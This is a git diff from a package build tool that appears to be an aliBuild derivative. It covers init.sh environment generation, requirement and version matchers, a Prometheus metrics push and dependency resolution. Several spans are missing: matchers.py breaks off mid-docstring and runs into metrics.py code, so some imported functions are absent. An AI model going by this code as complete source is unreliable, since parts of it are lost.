the package + itself; else, only generate variables pointing at it dependencies. + + If from_modules is true (the --initdotsh-from-modules build mode), the + post_build self-environment additionally exposes the development/build + variables the runtime modulefile carries but the legacy init.sh omits + (_INCLUDE_DIR, Python site-packages on PYTHONPATH), generated from the + package root and guarded on existence. Off by default, so the generated text + is byte-identical to before when the mode is not active. + + If cmake_prefix_env is true (legacy/alidist builds that opt in via the + hashed defaults env knob BITS_LEGACY_CMAKE_PREFIX_PATH), each package root is + also exported on the ':'-separated CMAKE_PREFIX_PATH environment variable, + which CMake's find_package() reads natively on Unix. Off by default so the + text stays byte-identical to aliBuild's when the knob is not set. + """ + spec = specs[package] + # Allow users to override BITS_ARCH_PREFIX if they manually source + # init.sh. This is useful for development off CVMFS, since we have a + # slightly different directory hierarchy there. + lines = [': "${BITS_ARCH_PREFIX:=%s}"' % architecture] + lines.extend([ + 'if [ -z "${WORK_DIR}" ]; then', + ' WORK_DIR=%s' % abspath(workDir), + 'fi', + ]) + # Generate the part which sources the environment for all the dependencies. + # We guarantee that a dependency is always sourced before the parts + # depending on it, but we do not guarantee anything for the order in which + # unrelated components are activated. + # These variables are also required during the build itself, so always + # generate them. + def _arch_prefix_expr(dep_spec): + """Return the shell expression for the install-tree root of *dep_spec*. + + Arch-specific packages use the runtime variable ``$BITS_ARCH_PREFIX`` so + that the same init.sh works when relocated (e.g. off CVMFS). + Shared packages (``architecture: shared``) always live under the literal + directory ``shared/``, so we embed that string directly. + """ + if dep_spec.get("architecture") == SHARED_ARCH: + return '"$WORK_DIR/shared"' + return '"$WORK_DIR/$BITS_ARCH_PREFIX"' + + def _dep_init_path(dep): + dep_spec = specs[dep] + family = dep_spec.get("pkg_family", "") + family_seg = (quote(family) + "/") if family else "" + arch_prefix = _arch_prefix_expr(dep_spec) + # ver_rev(dep_spec) is used instead of "{version}-{revision}" so that + # dependencies whose revision was forced or dropped via force_revision in + # defaults are sourced from the correct path in the generated init.sh. + # Using the raw revision string here would produce a trailing dash + # ("8.5.0-") when force_revision is set to "" (empty), breaking the + # environment for every downstream package. + return ( + '[ -n "${{{bigpackage}_REVISION}}" ] || ' + '. {arch_prefix}/{family}{package}/{ver_rev}/etc/profile.d/init.sh' + ).format( + bigpackage=pkg_to_shell_id(dep), + arch_prefix=arch_prefix, + family=family_seg, + package=quote(dep_spec["package"]), + ver_rev=quote(ver_rev(dep_spec)), + ) + # A dependency satisfied from a reused CVMFS release is set up by sourcing its + # DEPLOYED init.sh from CVMFS — the same mechanism as a local dep, just from + # the deployment. The deployed init.sh resolves paths via "$WORK_DIR/ + # $BITS_ARCH_PREFIX", so we point those at the CVMFS Packages base while + # sourcing (and restore after) so its own and its transitive deps' paths land + # on CVMFS. Per-DEPENDENCY, so a legacy-built package can consume a reused dep. + # Needs /cvmfs mounted in the build container (no modulecmd required). + _reqs = list(spec.get("requires", ())) + _reused_set = {d for d in _reqs + if reuse_cvmfs_base and specs[d].get("reuse_module_id")} + + def _reused_dep_lines(d): + # Point the deployed init.sh's "$WORK_DIR/$BITS_ARCH_PREFIX" at the CVMFS + # Packages base. BITS_ARCH_PREFIX MUST be non-null (the deployed init.sh's + # `: "${BITS_ARCH_PREFIX:=}"` would otherwise re-add the arch); "." is + # a harmless no-op segment (/./ == /). Save/restore so + # locally-built deps keep the local WORK_DIR. + dep_spec = specs[d] + verrev = dep_spec["reuse_module_id"].split("/", 1)[1] + return [ + '_bits_swd="${WORK_DIR:-}"; _bits_sap="${BITS_ARCH_PREFIX:-}"', + 'WORK_DIR="%s"; BITS_ARCH_PREFIX="."' % reuse_cvmfs_base, + '[ -n "${%s_REVISION}" ] || . "%s/%s/%s/etc/profile.d/init.sh"' + % (pkg_to_shell_id(d), reuse_cvmfs_base, dep_spec["package"], verrev), + 'WORK_DIR="${_bits_swd}"; BITS_ARCH_PREFIX="${_bits_sap}"; ' + 'unset _bits_swd _bits_sap', + ] + + if _reused_set: + # Emit deps in topological order (prerequisites first) so a dep set up + # before a reused dep whose deployed init.sh transitively references it — + # e.g. a locally-built bits-recipe-tools before a reused CMake — sets its + # _REVISION first, and the deployed init.sh's guard skips the re-source + # (which would look on CVMFS where a local-only build does not exist). + _req_set = set(_reqs) + _order = [d for d in topological_sort(specs) if d in _req_set] + for d in _order: + if d in _reused_set: + lines.extend(_reused_dep_lines(d)) + else: + lines.append(_dep_init_path(d)) + # A reused CVMFS package may ship a pkg-config .pc whose baked `prefix=` does + # not match its deployed location (publish-time relocation can misplace it), + # breaking find_package via pkg-config for a consumer (e.g. xrootd → Davix). + # The reuse anchoring already resolved each dep's real root into _ROOT, + # so stage corrected .pc copies (prefix rewritten to that root) in a writable + # dir and prepend it to PKG_CONFIG_PATH. Reads from read-only /cvmfs, writes + # under $WORK_DIR; a no-op for reused deps that ship no .pc. + _reused_roots = " ".join('"${%s_ROOT:-}"' % pkg_to_shell_id(d) + for d in _order if d in _reused_set) + lines.extend([ + '_bits_rpc="${WORK_DIR:-.}/reuse-pkgconfig"; mkdir -p "$_bits_rpc"', + 'for _bits_root in %s; do' % _reused_roots, + ' [ -n "$_bits_root" ] || continue', + ' for _bits_pcd in "$_bits_root/lib64/pkgconfig" "$_bits_root/lib/pkgconfig"; do', + ' [ -d "$_bits_pcd" ] || continue', + ' for _bits_pc in "$_bits_pcd"/*.pc; do', + ' [ -e "$_bits_pc" ] || continue', + ' sed "s|^prefix=.*|prefix=$_bits_root|" "$_bits_pc" > "$_bits_rpc/${_bits_pc##*/}"', + ' done', + ' done', + 'done', + # Prepend once — init.sh may be sourced repeatedly; avoid unbounded growth. + 'case ":${PKG_CONFIG_PATH:-}:" in', + ' *":$_bits_rpc:"*) ;;', + ' *) export PKG_CONFIG_PATH="$_bits_rpc${PKG_CONFIG_PATH:+:$PKG_CONFIG_PATH}" ;;', + 'esac', + 'unset _bits_rpc _bits_root _bits_pcd _bits_pc', + ]) + else: + lines.extend(_dep_init_path(dep) for dep in _reqs) + + if post_build: + bigpackage = pkg_to_shell_id(package) + + # Set standard variables related to the package itself. These should only + # be set once the build has actually completed. + self_family = spec.get("pkg_family", "") + self_family_seg = (quote(self_family) + "/") if self_family else "" + self_arch_prefix = _arch_prefix_expr(spec) + lines.extend(line.format( + bigpackage=bigpackage, + arch_prefix=self_arch_prefix, + family=self_family_seg, + package=quote(spec["package"]), + version=quote(spec["version"]), + # ver_rev() produces "version-revision" or just "version" when + # force_revision is set to "" via defaults; the ROOT export path must + # match the actual install directory produced by _pkg_install_path(). + ver_rev=quote(ver_rev(spec)), + revision=quote(spec["revision"]), + hash=quote(spec["hash"]), + commit_hash=quote(spec["commit_hash"]), + ) for line in ( + 'export {bigpackage}_ROOT={arch_prefix}/{family}{package}/{ver_rev}', + 'export RECC_PREFIX_MAP="${bigpackage}_ROOT=/recc/{bigpackage}_ROOT:$RECC_PREFIX_MAP"', + "export {bigpackage}_VERSION={version}", + "export {bigpackage}_REVISION={revision}", + "export {bigpackage}_HASH={hash}", + "export {bigpackage}_COMMIT={commit_hash}", + )) + + # Generate the part which sets the environment variables related to the + # package itself. This can be variables set via the "env" keyword in the + # metadata or paths which get concatenated via the "{append,prepend}_path" + # keys. These should only be set once the build has actually completed, + # since the paths referred to will only exist then. + + # First, output a sensible error message if types are wrong. + for key in ("env", "append_path", "prepend_path"): + dieOnError(not isinstance(spec.get(key, {}), dict), + "Tag `{}' in {} should be a dict.".format(key, package)) + + # Set "env" variables. + # We only put the values in double-quotes, so that they can refer to other + # shell variables or do command substitution (e.g. $(brew --prefix ...)). + lines.extend('export {}="{}"'.format(key, resolve_spec_data(spec, value, "")) + for key, value in spec.get("env", {}).items()) + + # Append paths to variables, if requested using append_path. + # Again, only put values in double quotes so that they can refer to other variables. + lines.extend('export {key}="${key}:{value}"' + .format(key=key, value=":".join(asList(value))) + for key, value in spec.get("append_path", {}).items()) + + # First convert all values to list, so that we can use .setdefault().insert() below. + prepend_path = {key: [resolve_spec_data(spec, dir, "") for dir in asList(value)] + for key, value in spec.get("prepend_path", {}).items()} + # By default we add the .../bin directory to PATH, .../lib to LD_LIBRARY_PATH + # and .../lib*/pkgconfig to PKG_CONFIG_PATH. Prepend to these paths, so that + # our packages win against system ones. + # + # PKG_CONFIG_PATH is added generically here so that the *build-time* + # environment mirrors what each package's runtime modulefile exposes via the + # ModuleRecipe `--pkgconfig` flag: a downstream recipe's ./configure or cmake + # then finds every dependency's .pc files without the recipe having to declare + # `prepend_path: { PKG_CONFIG_PATH: ... }` by hand. Each entry is guarded by a + # directory-existence test below, so adding it for every dependency is safe + # (it is a no-op for packages that ship no pkgconfig directory). + # + # CMAKE_PREFIX_PATH is deliberately NOT added here: CMake recipes pass it on + # the cmake command line as a `;`-separated -D argument (built by CMakeRecipe's + # _SetBuildEnvBase), whereas an environment variable would need `:` separators + # on Unix. Mixing the two on the same name corrupts the list, so build-time + # CMAKE_PREFIX_PATH stays owned by CMakeRecipe. + # The dynamic-loader search path is platform-specific: macOS dyld uses + # DYLD_LIBRARY_PATH (and ignores LD_LIBRARY_PATH), Linux uses LD_LIBRARY_PATH. + # Emit only the relevant one so build-time tools find their dependencies' + # shared libraries — on macOS this is what lets e.g. protoc -> Abseil work + # after the install-time rpath is stripped. The build environment must NOT + # unset this variable after sourcing init.sh (see build_template.sh). + _lib_path_var = "DYLD_LIBRARY_PATH" if architecture.startswith("osx") else "LD_LIBRARY_PATH" + for key, value in (("PATH", "bin"), + (_lib_path_var, "lib"), (_lib_path_var, "lib64"), + ("PKG_CONFIG_PATH", "lib/pkgconfig"), ("PKG_CONFIG_PATH", "lib64/pkgconfig")): + prepend_path.setdefault(key, []).insert(0, f"${bigpackage}_ROOT/{value}") + lines.extend('[ ! -d "{value}" ] || export {key}="{value}${{{key}+:${key}}}"' + .format(key=key, value=dir) + for key, value in prepend_path.items() + for dir in value) + + # Legacy/alidist builds, opted in via the hashed defaults env knob + # BITS_LEGACY_CMAKE_PREFIX_PATH: expose each package root on the + # ':'-separated CMAKE_PREFIX_PATH ENVIRONMENT variable. This mirrors at + # build time what the runtime modulefiles already provide + # (alibuild-generate-module --cmake emits `prepend-path CMAKE_PREFIX_PATH`), + # the same build/runtime-parity rationale as the generic PKG_CONFIG_PATH + # above. Needed because aliBuild's init.sh sets only _ROOT, which + # CMake ignores for packages whose cmake_minimum_required predates + # CMP0074/CMP0144 (e.g. VecGeom's builtin VecCore 0.8.0 requiring 3.9 + # cannot find Vc under CMake 4). Gated off in from_modules mode, which + # already emits its own CMAKE_PREFIX_PATH entry. + if cmake_prefix_env and not from_modules: + _cpp_root = "${%s_ROOT}" % bigpackage + lines.append('[ ! -d "%s" ] || export ' + 'CMAKE_PREFIX_PATH="%s${CMAKE_PREFIX_PATH:+:$CMAKE_PREFIX_PATH}"' + % (_cpp_root, _cpp_root)) + + if from_modules: + # --initdotsh-from-modules: also expose the development/build environment + # the runtime modulefile provides but the legacy init.sh omits — the + # package's own headers (_INCLUDE_DIR) and Python site-packages on + # PYTHONPATH. Each package sets only its own; a consumer that sources the + # dependency chain therefore accumulates the whole closure, matching what + # loading the modulefile chain would yield. Everything is generated from + # the package root bits already knows and guarded on directory existence, + # so it is a no-op for packages that ship no headers / Python modules. + # CMAKE_PREFIX_PATH is set as the ':'-separated environment variable, which + # CMake's find_package() reads natively on Unix (in addition to any + # ';'-separated -D cache value). So CMakeRecipe's reconstruction is gated + # off under this mode (it would otherwise overwrite this with a ';'-list). + root = "${%s_ROOT}" % bigpackage + lines.append('[ ! -d "%s/include" ] || export %s_INCLUDE_DIR="%s/include"' + % (root, bigpackage, root)) + lines.append('[ ! -d "%s" ] || export ' + 'CMAKE_PREFIX_PATH="%s${CMAKE_PREFIX_PATH:+:$CMAKE_PREFIX_PATH}"' + % (root, root)) + lines.append( + 'for _bits_sp in "%s"/lib/python*/site-packages ' + '"%s"/lib/python/site-packages; do [ -d "$_bits_sp" ] && export ' + 'PYTHONPATH="$_bits_sp${PYTHONPATH:+:$PYTHONPATH}"; done; unset _bits_sp' + % (root, root)) + + # Return string without a trailing newline, since we expect call sites to + # append that (and the obvious way to inesrt it into the build template is by + # putting the "%(initdotsh_*)s" on its own line, which has the same effect). + return "\n".join(lines) diff --git a/bits_helpers/matchers.py b/bits_helpers/matchers.py new file mode 100644 index 00000000..9a82e5e4 --- /dev/null +++ b/bits_helpers/matchers.py @@ -0,0 +1,306 @@ +# SPDX-FileCopyrightText: 2015-2026 CERN +# SPDX-License-Identifier: GPL-3.0-or-later + +"""Requirement/variable/version matching for recipe `requires:`, defaults +`variables:` gates, patch `when:` entries and version pins. Split out of +utilities.py; pure logic. Imports the arch-derived variables (for `(?osx)`-style +gates) from bits_helpers.arch, so this sits low in the import graph; the higher +layers (packages, repo_provider) import the few matcher entry points they need.""" + +import re +from collections import OrderedDict + +from bits_helpers.log import debug, dieOnError +from bits_helpers.arch import predefined_arch_vars + +def _parse_req_matcher(r): + """Split a requirement string into ``(name, matcher, version_pin)`` triple. + + Supported syntaxes:: + + name plain dependency + name:matcher architecture/defaults-conditional dependency + name = version dependency with explicit version pin + name = version:matcher version pin + arch/defaults condition + + *matcher* is an architecture regex or ``defaults=``, exactly as for + the two-field form. *version_pin* is ``None`` when no ``= version`` clause + is present. + + The ``=`` must appear **before** the ``:`` (if any) so that version strings + containing ``:`` are not ambiguous with matchers. In practice version + strings do not contain ``:``, so this is not a real constraint. + """ + # Locate = and : positions. Only treat = as a version separator when it + # appears before the first : (or when there is no :). + eq_pos = r.find("=") + colon_pos = r.find(":") + if eq_pos != -1 and (colon_pos == -1 or eq_pos < colon_pos): + name = r[:eq_pos].strip() + rest = r[eq_pos + 1:].strip() + if ":" in rest: + pin, matcher = rest.split(":", 1) + return name, matcher, pin.strip() + return name, ".*", rest + if ":" in r: + name, matcher = r.split(":", 1) + return name, matcher, None + return r, ".*", None + + +def _defaults_active(matcher, defaults): + """Return True if a ``defaults=`` *matcher* matches the active defaults. + + ``defaults`` is what bits threads through from ``args.defaults``, which is a + *list* of profile names (``--defaults dev4::cuda`` -> ``["dev4", "cuda"]``); + older callers/tests may pass a bare string. The conditional is active when the + regex matches ANY active profile, so a recipe can require a dependency only + under a given profile, e.g. ``- "cuda:defaults=cuda"`` (enabled by + defaults-cuda.sh). Matching per-element also makes this safe: the previous + code passed the whole list to ``re.match`` and would raise TypeError. + """ + rx = matcher[len("defaults="):] + defs = defaults if isinstance(defaults, (list, tuple)) else [defaults] + return any(re.match(rx, d) for d in defs) + + +# A variable-reference matcher is spelled "(?NAME)" -- an identifier in the same +# parenthesised form as a regex group, but one that is NOT a legal regex (e.g. +# "(?cuda)" raises re.error: "unknown extension ?c"). This lets a recipe gate a +# dependency on a defaults *variable* rather than on the architecture string: +# - "cuda:(?cuda)" # require cuda only when variable `cuda` is truthy +# It is deliberately distinct from arch regexes such as "(?!osx)" (a valid +# negative-lookahead, kept as an arch match) -- we only treat "(?NAME)" as a +# variable reference when it fails to compile as a regex, so real regexes +# (including inline-flag groups like "(?i)") are never misinterpreted. +_VAR_MATCHER_RE = re.compile(r"\(\?([A-Za-z_][A-Za-z0-9_]*)\)\Z") + + +def _var_matcher_name(matcher): + """Return the variable NAME if *matcher* is a "(?NAME)" variable reference, + else None (in which case it is an arch regex / defaults= matcher).""" + m = _VAR_MATCHER_RE.match(matcher or "") + if not m: + return None + try: + re.compile(matcher) + except re.error: + return m.group(1) # not a valid regex -> it's a variable reference + return None # valid regex (e.g. "(?i)") -> treat as arch match + + +def _var_truthy(default_vars, name): + """True when defaults variable *name* is defined and not a false-ish string.""" + v = (default_vars or {}).get(name) + return v is not None and str(v).strip().lower() not in ("", "0", "false", "off", "no") + + +def _loose_version_key(v): + """A natural-order sort key for version strings, à la ``sort -V``. + + Splits the string into runs of digits and non-digits; digit runs compare + numerically (so v40r2 < v40r10) and non-digit runs lexicographically. Each + element is a (type, value) tuple so int and str runs never compare directly. + Handles the schemes bits sees: v40r2, v01-19-06, 01.07, 1.2.3, 0.1.0pre17. + + Separator characters ``-``, ``.`` and ``_`` are treated as equivalent and do + not themselves contribute to the ordering, so dash- and dot-form tags compare + equal (``v6-40-00`` == ``v6.40.00``). Without this, the raw separator runs + sort lexicographically ('-' 0x2d < '.' 0x2e), which made ``v6-40-00`` rank + below ``v6.36.99`` and silently broke ``version>=`` gating for ROOT-style + dash tags. + """ + key = [] + for p in re.findall(r"\d+|\D+", str(v)): + if p.isdigit(): + key.append((0, int(p))) + else: + s = re.sub(r"[-._]+", "", p) # drop separators; keep alpha (v, r, pre…) + if s: + key.append((1, s)) + return key + + +def _version_compare(a, b): + """Return -1/0/1 comparing version strings *a* and *b* in natural order.""" + ka, kb = _loose_version_key(a), _loose_version_key(b) + return (ka > kb) - (ka < kb) + + +# version: e.g. "version=v40r2", "version=v40r2". +_VERSION_OP_RE = re.compile(r"version\s*(>=|<=|==|!=|=|>|<)\s*(.+)\Z", re.DOTALL) +_VERSION_OPS = { + "=": lambda c: c == 0, "==": lambda c: c == 0, "!=": lambda c: c != 0, + "<": lambda c: c < 0, "<=": lambda c: c <= 0, + ">": lambda c: c > 0, ">=": lambda c: c >= 0, +} + + +def _matcher_atom_active(matcher, arch, defaults, default_vars=None, version=None): + """Evaluate a single (non-compound) matcher atom. See _matcher_active.""" + if matcher.startswith("defaults="): + return _defaults_active(matcher, defaults) + vm = _VERSION_OP_RE.match(matcher) + if vm: + return version is not None and _VERSION_OPS[vm.group(1)](_version_compare(version, vm.group(2).strip())) + var = _var_matcher_name(matcher) + if var is not None: + return _var_truthy(default_vars, var) + return bool(re.match(matcher, arch)) + + +def _matcher_active(matcher, arch, defaults, default_vars=None, version=None): + """Whether a *matcher* is active for the current build. + + Atoms: + * ``defaults=`` -> active when the regex matches an active profile; + * ``version`` -> active when the package version satisfies the + comparison (op is one of = == != < <= > >=), + e.g. ``foo.patch:version=v40r2`` or + ``foo.patch:version active when defaults variable VAR is truthy; + * anything else -> a regex matched against the architecture string. + + Atoms may be combined with ``&&`` (all) and ``||`` (any); ``||`` has the lower + precedence, e.g. ``(?!osx) && version>=v40r2 || (?cuda)`` is + ``((?!osx) AND version>=v40r2) OR (?cuda)``. (Note: a single ``|`` inside an + arch regex is still ordinary alternation — only the doubled ``||`` combines.) + + *version* is the resolved package version (after overrides / pins); it is only + consulted by the ``version`` kind and may be ``None`` for callers that never + use it (e.g. requires filtering). + """ + matcher = matcher.strip() + if "||" in matcher: + parts = [p for p in (s.strip() for s in matcher.split("||")) if p] + return any(_matcher_active(p, arch, defaults, default_vars, version) for p in parts) + if "&&" in matcher: + parts = [p for p in (s.strip() for s in matcher.split("&&")) if p] + return all(_matcher_active(p, arch, defaults, default_vars, version) for p in parts) + return _matcher_atom_active(matcher, arch, defaults, default_vars, version) + + + + +def resolve_variables(variables, flavours, architecture, defaults): + """Resolve a defaults ``variables:`` block into a flat ``{name: value}`` dict. + + Entries may be plain (``name: value`` -- always defined) or *gated* + (``name: {value: V, when: MATCHER}`` -- defined to ``V`` only when ``MATCHER`` + is active for this build). ``MATCHER`` uses the requires-matcher grammar + (``(?flavour)``, an architecture regex such as ``osx`` / ``(?!osx)``, + ``defaults=``, combined with ``&&`` / ``||``) and is evaluated against + the variables resolved *so far*, so a gate may reference CLI flavours, the + predefined architecture variables, and any earlier entry ("a previously + defined variable"). A gated entry with no explicit ``value`` defaults to + ``True`` when active. + + Precedence (low -> high): predefined arch vars < CLI flavours < defaults-file + entries, except that a CLI flavour always wins over a defaults entry of the + same name (an explicit override) while remaining visible to every gate. + """ + flavours = flavours or {} + resolved = OrderedDict() + resolved.update(predefined_arch_vars(architecture)) + resolved.update(flavours) # visible to the gates below + for name, entry in (variables or {}).items(): + if name in flavours: + continue # CLI flavour overrides defaults + if isinstance(entry, dict) and "when" in entry: + if _matcher_active(str(entry["when"]), architecture, defaults, resolved): + resolved[name] = entry.get("value", True) + # inactive -> leave undefined (falsy) + else: + resolved[name] = entry + return resolved + + +def filterByArchitectureDefaults(arch, defaults, requires, default_vars=None, version=None): + """Yield requirements from *requires* that are satisfied by *arch*/*defaults*. + + *version* is the depending package's own resolved version; pass it so a + requirement can be gated on it, e.g. ``- "curl:version>=v6.40.00"``. + """ + for r in requires: + require, matcher, _pin = _parse_req_matcher(r) + if _matcher_active(matcher, arch, defaults, default_vars, version): + yield require + +def disabledByArchitectureDefaults(arch, defaults, requires, default_vars=None, version=None): + """Yield requirements from *requires* that are *not* satisfied by *arch*/*defaults*.""" + for r in requires: + require, matcher, _pin = _parse_req_matcher(r) + if not _matcher_active(matcher, arch, defaults, default_vars, version): + yield require + + +def _parse_patch_entry(entry): + """Split a ``patches:`` entry into ``(name, matcher_or_None, checksum_suffix)``. + + Entry form: ``name[:matcher][,algo:digest]``. The optional inline checksum + (which itself contains ``:``) is separated first on the first ``,``; a ``:`` + in the remaining head then introduces a conditional matcher, e.g. + ``foo.patch:version/api/v1/import/prometheus`` and return the HTTP status (or None). + + Raises on failure — the caller decides how loudly to report it. + """ + if isinstance(body, str): + body = body.encode("utf-8") + req = urllib.request.Request( + base_url.rstrip("/") + PROMETHEUS_IMPORT_PATH, + data=body, headers={"Content-Type": "text/plain"}, method="POST") + resp = urllib.request.urlopen(req, timeout=timeout) + try: + return getattr(resp, "status", None) + finally: + resp.close() diff --git a/bits_helpers/monitor.py b/bits_helpers/monitor.py index ca31e84a..6b826915 100644 --- a/bits_helpers/monitor.py +++ b/bits_helpers/monitor.py @@ -33,7 +33,6 @@ import subprocess import threading import time -import urllib.request _MONITOR = None # process-wide singleton (a build run has one host monitor) @@ -247,17 +246,12 @@ def _container_lines(self): def _push(self, lines): if not lines or not self.url: return - body = ("\n".join(lines) + "\n").encode("utf-8") - req = urllib.request.Request( - self.url + "/api/v1/import/prometheus", data=body, - headers={"Content-Type": "text/plain"}, method="POST") + from bits_helpers.metrics import push_prometheus try: - resp = urllib.request.urlopen(req, timeout=3) - code = getattr(resp, "status", "?") - resp.close() + code = push_prometheus(self.url, "\n".join(lines) + "\n", timeout=3) if not self._diag_logged: # confirm the push path once, loudly print("[monitor] first push OK (HTTP %s) -> %s as instance=%s" - % (code, self.url, self.instance), flush=True) + % (code if code is not None else "?", self.url, self.instance), flush=True) self._diag_logged = True except Exception as e: if not self._diag_logged: # make a silent NAT/firewall drop visible diff --git a/bits_helpers/packages.py b/bits_helpers/packages.py new file mode 100644 index 00000000..bc3404fc --- /dev/null +++ b/bits_helpers/packages.py @@ -0,0 +1,406 @@ +# SPDX-FileCopyrightText: 2015-2026 CERN +# SPDX-License-Identifier: GPL-3.0-or-later + +"""getPackageList — resolve a set of requested packages into the full, ordered +build list: read each recipe, evaluate architecture/variable gates, apply system +(prefer/require) checks via caller callbacks, register version pins and patches, +and fold in checksum-store data. The top of the dependency graph; imports from +every lower layer (recipe, matchers, paths) plus the utilities primitives.""" + +import re +from collections import OrderedDict +from shlex import quote + +from bits_helpers.checksum_store import load_for_spec, merge_into_spec +from bits_helpers.log import banner, debug, dieOnError, warning +from bits_helpers.matchers import (_collect_version_pins, _matcher_active, + disabledByArchitectureDefaults, + filterByArchitectureDefaults, filterPatches) +from bits_helpers.recipe import getRecipeReader, parseRecipe, getGeneratedPackages +from bits_helpers.paths import resolveFilename +from bits_helpers.utilities import recipeSourceLabel, resolve_version +from bits_helpers.defaults import resolve_pkg_family + +def getPackageList(packages, specs, configDir, preferSystem, noSystem, + architecture, disable, defaults, performPreferCheck, performRequirementCheck, + performValidateDefaults, overrides, taps, log, force_rebuild=(), + provider_dirs=None, defaults_meta=None): + """Resolve the full set of packages required by *packages*. + + *provider_dirs* is an optional ``dict`` returned by + ``repo_provider.fetch_repo_providers_iteratively``, mapping each provider + checkout directory to a ``(package_name, commit_hash)`` tuple. When a + recipe is found inside one of these directories the corresponding spec + gains two extra keys: + + ``spec["recipe_provider"]`` + The name of the provider package whose checkout contains this recipe. + + ``spec["recipe_provider_hash"]`` + The git commit hash of that provider checkout. ``storeHashes`` folds + this value into the package's content-addressable build hash so that + upgrading a provider triggers a rebuild of all packages sourced from it. + """ + systemPackages = set() + ownPackages = set() + failedRequirements = set() + testCache = {} + requirementsCache = {} + trackingEnvCache = {} + packages = packages[:] + generatedPackages = getGeneratedPackages(configDir) + validDefaults = [] # empty list: all OK; None: no valid default; non-empty list: list of valid ones + if provider_dirs is None: + provider_dirs = {} + recipe_sources = {} # package name -> "@" origin label + required_by = {} # dep name (bare, lowercased) -> set of "requirer (source)" + _disable_set = set(disable) + # version_pins accumulates ``name -> version`` entries declared via the + # ``name = version`` syntax in any spec's requires / build_requires lists. + # Pins are applied to the dependency spec just before it is stored in + # *specs*, overriding the version stated in the recipe and any defaults-file + # override. Conflicts (two different pins for the same name, or a pin that + # arrives after the dependency was already resolved) are fatal errors. + _version_pins = {} + while packages: + p = packages.pop(0) + if p in specs: + continue + # A package already known to be disabled (prefer_system or system_requirement + # passed on a prior iteration) should not be re-processed. Without this + # guard the package is re-evaluated once per occurrence in the queue — + # i.e. once per dependent — and disable.append() fires each time, producing + # hundreds of duplicate --disable=GCC-Toolchain entries in the argument log. + if p in _disable_set: + continue + skip = False + for d in defaults: + if p == "defaults-release" and ("defaults-" + d) in specs: + skip = True + break + else: + pkg_filename = ("defaults-" + d) if p == "defaults-release" else p.lower() + if skip: + continue + + # We rewrite all defaults to "defaults-release", so load the correct + # defaults package here. + # The reason for this rewriting is (I assume) so that packages that are + # not overridden by some defaults can be shared with other defaults, since + # they will end up with the same hash. The defaults must be called + # "defaults-release" for this to work, since the defaults are a dependency + # and all dependencies' names go into a package's hash. + filename,pkgdir = resolveFilename(taps, pkg_filename, configDir, generatedPackages) + + dieOnError(not filename, "Package {} not found in {}".format(p, configDir)) + assert(filename is not None) + + err, spec, recipe = parseRecipe(getRecipeReader(filename, configDir, generatedPackages[pkgdir]), generatedPackages) + dieOnError(err, err) + # Unless there was an error, both spec and recipe should be valid. + # otherwise the error should have been caught above. + assert(spec is not None) + assert(recipe is not None) + dieOnError(spec["package"].lower() != pkg_filename, + "{}.sh has different package field: {}".format(p, spec["package"])) + spec["pkgdir"] = pkgdir + + # Per-recipe origin trace: record which repository@commit actually supplied + # this recipe — for every package, not only provider-sourced ones. This is + # the first thing to consult when a recipe resolves to an unexpected (e.g. + # stale) version: if the commit here predates an upstream change, the source + # checkout was out of date. + spec["recipe_source"] = recipeSourceLabel(pkgdir, provider_dirs) + recipe_sources[spec["package"]] = spec["recipe_source"] + debug("Recipe '%s' resolved from %s (dir: %s)", + spec["package"], spec["recipe_source"], pkgdir) + + # Load the optional external checksum store (checksums/.checksum) + # and merge source/patch checksums + commit pin into the spec. + merge_into_spec(spec, load_for_spec(spec)) + + # Track which repository provider supplied this recipe so that + # storeHashes can fold the provider's commit hash into the build hash. + if pkgdir in provider_dirs: + prov_name, prov_hash = provider_dirs[pkgdir] + spec["recipe_provider"] = prov_name + spec["recipe_provider_hash"] = prov_hash + + if p == "defaults-release": + # Re-rewrite the defaults' name to "defaults-release". Everything auto- + # depends on "defaults-release", so we need something with that name. + spec["package"] = "defaults-release" + + # Never run the defaults' recipe, to match previous behaviour. + # Warn if a non-trivial recipe is found (i.e., one with any non-comment lines). + for line in map(str.strip, recipe.splitlines()): + if line and not line.startswith("#"): + warning("%s.sh contains a recipe, which will be ignored", pkg_filename) + recipe = "" + + # Strip top-level ``requires`` / ``build_requires`` from the defaults + # spec before the dependency-following step below. These fields are + # consumed earlier, in the Phase 2 provider scan (before getPackageList + # is called), to seed ``fetch_repo_providers_iteratively``. If they + # were left here, every package listed in defaults ``requires`` would + # auto-receive a ``defaults-release`` build dependency (line 1037), which + # creates an unresolvable cycle: + # + # defaults-release → provider-pkg → defaults-release + # + # Clearing them here is safe: the provider repos they reference are + # already loaded and their recipes are on BITS_PATH. + spec.pop("requires", None) + spec.pop("build_requires", None) + + dieOnError(spec["package"] != p, + "{} should be spelt {}.".format(p, spec["package"])) + + # If an override fully matches a package, we apply it. This means + # you can have multiple overrides being applied for a given package. + # An override key may carry an optional ":matcher" suffix (same syntax as + # requires/patches: arch regex, defaults=, version, (?VAR), &&/||) to + # gate it, e.g. "ROOT:osx" applies only on macOS architectures. Package + # names never contain ":", so splitting on the first ":" is unambiguous. + _ovr_vars = (defaults_meta or {}).get("variables") + for override in overrides: + # We downcase the regex in parseDefaults(), so downcase the package name + # as well. FIXME: This is probably a bad idea; we should use + # re.IGNORECASE instead or just match case-sensitively. + pkg_re, sep, matcher = override.partition(":") + if not re.fullmatch(pkg_re, p.lower()): + continue + if sep and not _matcher_active(matcher, architecture, defaults, _ovr_vars, + spec.get("version")): + continue + log("Overrides for package %s: %s", spec["package"], overrides[override]) + spec.update(overrides.get(override, {}) or {}) + + # Apply global force_revision from the top-level defaults field as a + # fallback. Per-package overrides (set via spec.update() above) take + # precedence because they ran first. A value of "" means "drop the + # revision suffix entirely"; None means "not set, do not apply". + if "force_revision" not in spec \ + and defaults_meta is not None \ + and "force_revision" in defaults_meta: + raw = defaults_meta.get("force_revision") + if raw is not None: + spec["force_revision"] = "" if raw == "" else str(raw) + + # If --always-prefer-system is passed or if prefer_system is set to true + # inside the recipe, use the script specified in the prefer_system_check + # stanza to see if we can use the system version of the package. + systemRE = spec.get("prefer_system", "(?!.*)") + try: + systemREMatches = re.match(systemRE, architecture) + except TypeError: + dieOnError(True, "Malformed entry prefer_system: {} in {}".format(systemRE, spec["package"])) + + noSystemList = [] + if noSystem == "*": + noSystemList = [spec["package"]] + elif noSystem is not None: + noSystemList = noSystem.split(",") + systemExcluded = (spec["package"] in noSystemList) + allowSystemPackageUpload = spec.get("allow_system_package_upload", False) + # Fill the track env with the actual result from executing the script. + for env, trackingCode in spec.get("track_env", {}).items(): + key = spec["package"] + env + if key not in trackingEnvCache: + 